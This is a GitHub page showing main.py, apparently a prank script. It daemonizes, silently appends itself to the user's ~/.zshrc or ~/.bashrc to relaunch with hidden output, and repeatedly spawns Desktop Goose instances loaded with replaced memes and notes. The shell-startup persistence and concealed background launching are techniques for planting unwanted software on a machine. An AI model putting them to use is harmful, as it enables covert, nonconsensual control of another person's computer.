-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
83 lines (70 loc) · 2.7 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import shutil
import subprocess,sched, time,random, os, sys
from os.path import dirname
def job():
procs = []
gcount = random.randint(1, 3)
for i in range(gcount):
procs.append(subprocess.Popen("desktopgoose.app/Contents/MacOS/Desktop\ Goose", shell=True))
time.sleep(20)
time.sleep(120)
[p.kill() for p in procs]
s = sched.scheduler(time.time, time.sleep)
def daemonize():
pid = os.fork()
if pid > 0:
sys.exit(0)
def buildup():
if not os.path.exists(os.path.expanduser("~/Library/Containers/net.namedfork.DesktopGoose/Data/Library/Preferences/net.namedfork.DesktopGoose.plist")):
if (os.path.exists("desktopgoose.app/Contents/Resources/Memes")):
shutil.rmtree("desktopgoose.app/Contents/Resources/Memes")
if (os.path.exists("desktopgoose.app/Contents/Resources/Notes")):
shutil.rmtree("desktopgoose.app/Contents/Resources/Notes")
shutil.copytree("Memes","desktopgoose.app/Contents/Resources/Memes")
shutil.copytree("Notes", "desktopgoose.app/Contents/Resources/Notes")
# running the app for the first time to create parameters of chaos
try:
shutil.rmtree(os.path.expanduser("~/Library/Containers/net.namedfork.DesktopGoose"))
except:
pass
p = subprocess.Popen("desktopgoose.app/Contents/MacOS/Desktop\ Goose", shell=True)
time.sleep(2)
p.kill()
shutil.copy("net.namedfork.DesktopGoose.plist", os.path.expanduser("~/Library/Containers/net.namedfork.DesktopGoose/Data/Library/Preferences"))
while True:
interval = 60 * 5 * random.randint(1, 5) # in seconds
s.enter(interval, 1, job, ())
s.run()
def main():
script_path = os.path.abspath(__file__)
os.chdir(dirname(script_path))
pid_file = 'pid'
if os.path.exists(pid_file):
with open(pid_file, 'r') as f:
pid = int(f.read())
try:
os.kill(pid, 0)
sys.exit()
except OSError:
pass
daemonize()
with open(pid_file, 'w') as f:
f.write(str(os.getpid()))
command = f"python3 {script_path} &> /dev/null \n"
rc_file = os.path.expanduser("~/.zshrc") if os.path.exists(os.path.expanduser("~/.zshrc")) else os.path.expanduser(
"~/.bashrc")
if os.path.exists(rc_file):
found = False
with open(rc_file, 'r') as rc:
rc_lines = rc.readlines()
for ln in rc_lines:
if command in ln:
found = True
break
if not found:
f = open(rc_file, "a")
f.write(command)
f.close()
buildup()
if __name__ == "__main__":
main()